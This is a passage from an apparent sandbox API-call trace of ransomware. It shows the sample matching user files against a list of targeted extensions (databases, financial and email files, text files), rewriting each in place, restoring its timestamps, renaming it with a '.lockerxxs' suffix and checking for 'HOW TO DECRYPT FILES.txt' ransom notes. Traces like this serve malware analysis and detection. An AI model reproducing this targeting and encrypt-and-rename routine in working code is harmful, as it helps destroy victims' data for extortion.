returned 0 [0088.454] lstrlenA (lpString="*.qbm") returned 5 [0088.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.qbo") returned 0 [0088.455] lstrlenA (lpString="*.qbo") returned 5 [0088.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.qbx") returned 0 [0088.455] lstrlenA (lpString="*.qbx") returned 5 [0088.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.qba") returned 0 [0088.455] lstrlenA (lpString="*.qba") returned 5 [0088.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.qby") returned 0 [0088.455] lstrlenA (lpString="*.qby") returned 5 [0088.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.qbj") returned 0 [0088.455] lstrlenA (lpString="*.qbj") returned 5 [0088.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.ofx") returned 0 [0088.455] lstrlenA (lpString="*.ofx") returned 5 [0088.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.qif") returned 0 [0088.455] lstrlenA (lpString="*.qif") returned 5 [0088.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.mye") returned 0 [0088.455] lstrlenA (lpString="*.mye") returned 5 [0088.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.mbox") returned 0 [0088.455] lstrlenA (lpString="*.mbox") returned 6 [0088.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.eml") returned 0 [0088.456] lstrlenA (lpString="*.eml") returned 5 [0088.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.pst") returned 0 [0088.456] lstrlenA (lpString="*.pst") returned 5 [0088.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.ost") returned 0 [0088.456] lstrlenA (lpString="*.ost") returned 5 [0088.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.idx") returned 0 [0088.456] lstrlenA (lpString="*.idx") returned 5 [0088.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.dbx") returned 0 [0088.456] lstrlenA (lpString="*.dbx") returned 5 [0088.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.sql") returned 0 [0088.456] lstrlenA (lpString="*.sql") returned 5 [0088.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.mdb") returned 0 [0088.456] lstrlenA (lpString="*.mdb") returned 5 [0088.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.fdb") returned 0 [0088.456] lstrlenA (lpString="*.fdb") returned 5 [0088.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.wab") returned 0 [0088.456] lstrlenA (lpString="*.wab") returned 5 [0088.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.dat") returned 0 [0088.457] lstrlenA (lpString="*.dat") returned 5 [0088.457] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.txt") returned 1 [0088.457] lstrlenA (lpString="*.txt") returned 5 [0088.457] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt" [0088.457] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt" [0088.457] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt." [0088.457] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.lockerxxs" [0088.457] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@advertising[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0088.458] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x125 [0088.458] GetFileTime (in: hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x517fd8b0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x51332930, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x51332930, dwHighDateTime=0x1d2faf3)) returned 1 [0088.458] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.458] ReadFile (in: hFile=0x9c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xff, lpOverlapped=0x0) returned 1 [0088.460] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt") returned="5p5nrgjn0js_halpmcxz@advertising[1].txt" [0088.460] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.460] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xff, lpOverlapped=0x0) returned 1 [0088.460] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.460] CloseHandle (hObject=0x9c) returned 1 [0088.460] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@advertising[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.lockerxxs")) returned 1 [0088.461] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54cce0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54cce0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54cce0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x15000316, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@api.bing[2].txt", cAlternateFileName="5P40FC~1.TXT")) returned 1 [0088.461] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.461] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@api.bing[2].txt") returned 1 [0088.461] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@api.bing[2].txt") returned 1 [0088.461] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@api.bing[2].txt") returned -1 [0088.461] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt") returned="5p5nrgjn0js_halpmcxz@advertising[1].txt" [0088.462] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.462] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.462] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" [0088.462] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\how to decrypt files.txt")) returned 0x2020 [0088.462] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="5p5nrgjn0js_halpmcxz@api.bing[2].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt" [0088.462] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.ems") returned 0 [0088.462] lstrlenA (lpString="*.ems") returned 5 [0088.462] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.db") returned 0 [0088.462] lstrlenA (lpString="*.db") returned 4 [0088.462] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.dbf") returned 0 [0088.462] lstrlenA (lpString="*.dbf") returned 5 [0088.462] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.myox") returned 0 [0088.462] lstrlenA (lpString="*.myox") returned 6 [0088.462] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.myo") returned 0 [0088.462] lstrlenA (lpString="*.myo") returned 5 [0088.463] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.qbw") returned 0 [0088.463] lstrlenA (lpString="*.qbw") returned 5 [0088.463] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.qbb") returned 0 [0088.463] lstrlenA (lpString="*.qbb") returned 5 [0088.463] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.qbm") returned 0 [0088.463] lstrlenA (lpString="*.qbm") returned 5 [0088.463] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.qbo") returned 0 [0088.463] lstrlenA (lpString="*.qbo") returned 5 [0088.463] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.qbx") returned 0 [0088.463] lstrlenA (lpString="*.qbx") returned 5 [0088.463] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.qba") returned 0 [0088.463] lstrlenA (lpString="*.qba") returned 5 [0088.463] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.qby") returned 0 [0088.463] lstrlenA (lpString="*.qby") returned 5 [0088.463] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.qbj") returned 0 [0088.463] lstrlenA (lpString="*.qbj") returned 5 [0088.463] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.ofx") returned 0 [0088.463] lstrlenA (lpString="*.ofx") returned 5 [0088.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.qif") returned 0 [0088.464] lstrlenA (lpString="*.qif") returned 5 [0088.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.mye") returned 0 [0088.464] lstrlenA (lpString="*.mye") returned 5 [0088.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.mbox") returned 0 [0088.464] lstrlenA (lpString="*.mbox") returned 6 [0088.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.eml") returned 0 [0088.464] lstrlenA (lpString="*.eml") returned 5 [0088.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.pst") returned 0 [0088.464] lstrlenA (lpString="*.pst") returned 5 [0088.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.ost") returned 0 [0088.464] lstrlenA (lpString="*.ost") returned 5 [0088.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.idx") returned 0 [0088.464] lstrlenA (lpString="*.idx") returned 5 [0088.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.dbx") returned 0 [0088.465] lstrlenA (lpString="*.dbx") returned 5 [0088.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.sql") returned 0 [0088.465] lstrlenA (lpString="*.sql") returned 5 [0088.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.mdb") returned 0 [0088.465] lstrlenA (lpString="*.mdb") returned 5 [0088.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.fdb") returned 0 [0088.465] lstrlenA (lpString="*.fdb") returned 5 [0088.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.wab") returned 0 [0088.465] lstrlenA (lpString="*.wab") returned 5 [0088.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.dat") returned 0 [0088.465] lstrlenA (lpString="*.dat") returned 5 [0088.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", pszSpec="*.txt") returned 1 [0088.465] lstrlenA (lpString="*.txt") returned 5 [0088.465] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt" [0088.465] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt" [0088.465] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt." [0088.466] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.lockerxxs" [0088.466] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0088.470] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xdd [0088.470] GetFileTime (in: hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x54cce0d0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x54cce0d0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x54cce0d0, dwHighDateTime=0x1d2dd9e)) returned 1 [0088.470] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.471] ReadFile (in: hFile=0x9c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xb7, lpOverlapped=0x0) returned 1 [0088.472] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt") returned="5p5nrgjn0js_halpmcxz@api.bing[2].txt" [0088.472] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.473] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xb7, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xb7, lpOverlapped=0x0) returned 1 [0088.473] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.473] CloseHandle (hObject=0x9c) returned 1 [0088.473] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt" (normalized: 